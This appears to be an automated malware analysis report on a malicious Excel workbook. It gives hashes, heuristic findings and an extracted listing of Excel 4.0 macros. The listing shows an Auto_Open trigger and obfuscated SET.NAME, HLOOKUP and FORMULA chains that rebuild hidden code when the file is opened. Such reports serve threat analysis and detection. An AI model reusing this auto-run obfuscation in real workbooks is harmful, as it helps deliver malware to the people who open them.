Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 85c380bc38f61239…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:43:27 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: ad7ff2d73185adcd57bd8599fee410e5 SHA-1: f95297f5d06d967cbb8ad644f5d22e273525e38c SHA-256: 85c380bc38f612394dd121561cf5ef9b8c985e3ab580c0aa085384a26a237cb6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a known technique for executing malicious code upon opening the workbook. The critical heuristic firings indicate the presence of dangerous formula APIs within the Auto_Open macro, suggesting it's designed to run arbitrary commands or download further payloads. No specific family could be identified, and no direct IOCs like URLs or hashes were extracted from the macro content itself.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6653 bytes
SHA-256: 01b3a2b4a99728e090ece3966c32934d0e0e5564dbb769324bcafccf1e6a858c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BvJvzvyMaxD
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F155 
' 0018     23 LABEL : Cell Value, String Constant - CfJOWmcT len=0 
' 0018     22 LABEL : Cell Value, String Constant - DxMAjYl len=0 
' 0018     22 LABEL : Cell Value, String Constant - DXwxgZO len=0 
' 0018     22 LABEL : Cell Value, String Constant - fEylXnA len=0 
' 0018     27 LABEL : Cell Value, String Constant - JBVbRjblvlPF len=0 
' 0018     23 LABEL : Cell Value, String Constant - jhmaxMzw len=0 
' 0018     24 LABEL : Cell Value, String Constant - jszJEczzv len=0 
' 0018     21 LABEL : Cell Value, String Constant - LHntbE len=0 
' 0018     22 LABEL : Cell Value, String Constant - LvfHnuO len=0 
' 0018     21 LABEL : Cell Value, String Constant - MLlKiK len=0 
' 0018     20 LABEL : Cell Value, String Constant - MQkRd len=0 
' 0018     20 LABEL : Cell Value, String Constant - mWXwh len=0 
' 0018     20 LABEL : Cell Value, String Constant - NpJbk len=0 
' 0018     24 LABEL : Cell Value, String Constant - NYwTCRikY len=0 
' 0018     24 LABEL : Cell Value, String Constant - oHjeUOIQx len=0 
' 0018     25 LABEL : Cell Value, String Constant - OYSDlaaksk len=0 
' 0018     24 LABEL : Cell Value, String Constant - qUynAZWXc len=0 
' 0018     23 LABEL : Cell Value, String Constant - rBtaiUzz len=0 
' 0018     20 LABEL : Cell Value, String Constant - sWPiY len=0 
' 0018     27 LABEL : Cell Value, String Constant - UyPQXsKslzpS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BvJvzvyMaxD,F66,"SET.NAME("LHntbE",VALUE("0"))",""
'  BvJvzvyMaxD,F69,"SET.NAME("oHjeUOIQx",LHntbE)",""
'  BvJvzvyMaxD,F71,"SET.NAME("JBVbRjblvlPF",LHntbE)",""
'  BvJvzvyMaxD,F74,"SET.NAME("OYSDlaaksk",COUNTA(UyPQXsKslzpS))",""
'  BvJvzvyMaxD,F78,"SET.NAME("LvfHnuO",COUNTA(CfJOWmcT))",""
'  BvJvzvyMaxD,F82,[],""
'  BvJvzvyMaxD,F85,"SET.NAME("NpJbk","")",""
'  BvJvzvyMaxD,F90,"oHjeUOIQx",""
'  BvJvzvyMaxD,F93,"SET.NAME("MLlKiK",HLOOKUP("*",UyPQXsKslzpS,oHjeUOIQx,FALSE))",""
'  BvJvzvyMaxD,F95,"jhmaxMzw",""
'  BvJvzvyMaxD,F98,"SET.NAME("fEylXnA",LHntbE)",""
'  BvJvzvyMaxD,F100,[],""
'  BvJvzvyMaxD,F102,"fEylXnA",""
'  BvJvzvyMaxD,F107,"qUynAZWXc",""
'  BvJvzvyMaxD,F112,"rBtaiUzz",""
'  BvJvzvyMaxD,F117,"mWXwh",""
'  BvJvzvyMaxD,F119,"SET.NAME("NYwTCRikY",VALUE(HLOOKUP("*",CfJOWmcT,mWXwh,FALSE)))",""
'  BvJvzvyMaxD,F124,"MQkRd",""
'  BvJvzvyMaxD,F128,"NpJbk",""
'  BvJvzvyMaxD,F130,"JBVbRjblvlPF",""
'  BvJvzvyMaxD,F134,NEXT(),""
'  BvJvzvyMaxD,F138,"DxMAjYl",""
'  BvJvzvyMaxD,F140,"SET.NAME("f",INT(T(FORMULA(T(NpJbk)&"",""&T(DxMAjYl)))))",""
'  BvJvzvyMaxD,F144,"DXwxgZO",""
'  BvJvzvyMaxD,F148,NEXT(),""
'  BvJvzvyMaxD,F152,RETURN(),""
'  BvJvzvyMaxD,F188,"SET.NAME("sWPiY",F66)",""
'  BvJvzvyMaxD,F192,"UyPQXsKslzpS",""
'  BvJvzvyMaxD,F194,"SET.NAME("CfJOWmcT",R51C13)",""
'  BvJvzvyMaxD,F197,"SET.NAME("DXwxgZO",205)",""
'  BvJvzvyMaxD,F202,"SET.NAME("jszJEczzv",6)",""
'  BvJvzvyMaxD,F204,sWPiY(),""
'  BvJvzvyMaxD,F205,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.